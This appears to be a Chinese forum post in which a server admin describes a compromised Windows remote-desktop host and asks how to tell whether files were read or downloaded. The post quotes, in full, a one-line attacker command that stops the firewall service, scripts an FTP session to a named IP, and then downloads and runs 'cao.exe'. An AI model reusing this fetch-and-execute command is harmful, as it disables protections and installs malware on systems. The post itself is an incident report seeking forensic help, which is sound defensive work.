本帖最后由 wkl17 于 2019-2-27 08:14 编辑
 假设某台 Windows Server 2008R2 / 2012R2 被入侵了，各位会使用什么方法判断某些文件是否被下载或读取过（比如 abc.txt 文件）？
Windows 的文件访问时间 感觉似乎不是我们通常理解的那样，也即：只读访问后 它的时间属性不会有任何变化。所以似乎无法通过文件访问时间 判断 abc.txt 这个文件是否被人访问或下载过？
还有其它可行的方法来判断吗？
或者更直接一点说吧。有一台作为远程桌面用的 Windows，没跑什么服务。
但我今天发现 cmd 命令行有些异常命令（因为执行某个不存在的 exe 卡住了，所以我通过 procexp 查看到这个异常命令）。
有个 cmd 尝试执行 ftp 命令行下载某个 exe 程序 并执行。但好在我服务器安装了火绒，根据 火绒的日志，已成功阻止了它下载。虽然也没什么重要数据，但我好奇的是，这个入侵者能执行类似这样的命令：c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 117.41.184.58> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get cao.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&cao.exe
那服务器上的某个文件（比如刚才举例的 abc.txt ）如果被入侵者下载或读取过，是否有办法判断出来？比如Windows NTFS流 等等的信息？
| 
发表于 2019-2-27 08:12:46
楼主